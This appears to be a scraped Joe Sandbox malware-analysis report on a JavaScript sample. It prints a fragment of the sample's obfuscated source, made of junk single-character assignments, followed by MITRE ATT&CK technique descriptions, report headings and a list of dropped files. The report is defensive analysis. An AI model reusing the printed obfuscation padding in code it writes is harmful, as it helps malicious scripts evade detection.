354	hchnb = "X";
355	hchnb = "F";
356	hchnb = "C";
357	hchnb = "K";
358	jxwep = "L";
359	jxwep = "G";
360	jxwep = "d";
361	jxwep = "s";
362	jxwep = "Z";
363	jxwep = "x";
364	hmjibe = "n";
365	hmjibe = "Y";
366	hmjibe = "g";
367	hmjibe = "W";
368	hmjibe = "u";
369	hmjibe = "x";
370	hmjibe = "F";
371	hmjibe = "c";
372	hmjibe = "o";
373	wevhxoouw = "C";
374	wevhxoouw = "b";
375	wevhxoouw = "M";
376	wevhxoouw = "D";
377	wevhxoouw = "l";
378	wevhxoouw = "Y";
379	tlyqs = "c";
380	tlyqs = "I";
381	tlyqs = "m";
382	tlyqs = "G";
383	tlyqs = "X";
384	tlyqs = "H";
385	tlyqs = "P";
386	tlyqs = "K";
387	tlyqs = "e";
388	nbvlqffe = "O";
389	nbvlqffe = "S";
390	nbvlqffe = "K";
391	nbvlqffe = "Y";
392	nbvlqffe = "m";
393	nbvlqffe = "Q";
394	nbvlqffe = "C";
395	nbvlqffe = "l";
396	nbvlqffe = "O";
397	nbvlqffe = "n";
398	xtijrbl = "G";
399	xtijrbl = "U";
400	xtijrbl = "K";
401	xtijrbl = "O";
402	xtijrbl = "p";
403	xtijrbl = "l";
404	xtijrbl = "B";
405	xtijrbl = "P";
406	xtijrbl = "i";
407	csmhdb = "x";
408	csmhdb = "Z";
409	csmhdb = "c";
410	csmhdb = "U";
411	csmhdb = "O";
412	csmhdb = "I";
413	csmhdb = "n";
414	csmhdb = "M";
415	csmhdb = "w";
416	tichvpa = "C";
417	tichvpa = "X";
418	tichvpa = "M";
419	tichvpa = "F";
420	tichvpa = "m";
421	tichvpa = "H";
422	tichvpa = "n";
423	tichvpa = "X";
424	tichvpa = "o";
425	tichvpa = "E";
426	hajhow = "H";
427	hajhow = "P";
428	hajhow = "d";
429	hajhow = "f";
430	hajhow = "m";
431	hajhow = "\\";
432	yggek = "W";
433	yggek = "i";
434	yggek = "c";
435	yggek = "T";
436	yggek = "a";
437	yggek = "U";
438	yggek = "y";
439	yggek = "I";
440	yggek = "9";
441	fxebidadn = "e";
442	fxebidadn = "I";
443	fxebidadn = "z";
444	fxebidadn = "i";
445	fxebidadn = "D";
446	fxebidadn = "Y";
447	fxebidadn = "u";
448	xlbizyyn = "w";
449	xlbizyyn = "B";
450	xlbizyyn = "m";
451	xlbizyyn = "j";
452	xlbizyyn = "D";
453	xlbizyyn = "f";
454	xlbizyyn = "V";
455	xlbizyyn = "R";
456	tblczvdqr = "z";
457	tblczvdqr = "c";
458	tblczvdqr = "z";
459	tblczvdqr = "t";
460	tblczvdqr = "E";
461	tblczvdqr = "V";
462	tblczvdqr = "r";
463	tblczvdqr = "x";
464	tblczvdqr = "g";
465	tblczvdqr = "f";
466	ylxpnam = "e";
467	ylxpnam = "N";
468	ylxpnam = "a";
469	ylxpnam = "H";
470	ylxpnam = "c";
471	ylxpnam = "N";
472	ylxpnam = "b";
473	njeye = "Q";
474	njeye = "w";
475	njeye = "M";
476	njeye = "B";
477	njeye = "Q";
478	njeye = "F";
479	cvsjvd = "q";
480	cvsjvd = "u";
481	cvsjvd = "F";
482	cvsjvd = "W";
483	cvsjvd = "b";
484	cvsjvd = "Y";
485	cvsjvd = "z";
486	cvsjvd = "J";
487	cvsjvd = "2";
488	udlqqukg = "w";
489	udlqqukg = "f";
490	udlqqukg = "F";
491	udlqqukg = "B";
492	udlqqukg = "I";
493	udlqqukg = "j";
494	udlqqukg = "X";
495	udlqqukg = "F";
496	udlqqukg = "h";
497	sqnvjm = "q";
498	sqnvjm = "E";
499	sqnvjm = "S";
500	sqnvjm = "e";
501	sqnvjm = "X";
502	sqnvjm = "j";
503	sqnvjm = "K";
504	sqnvjm = "X";
505	sqnvjm = "@";
506	xzqcswo ( );	xzqcswo() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 3130621478256819696.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\20a3f270-14ec-4e23-b9f7-38781ca26122.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3628

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
3130621478256819696.js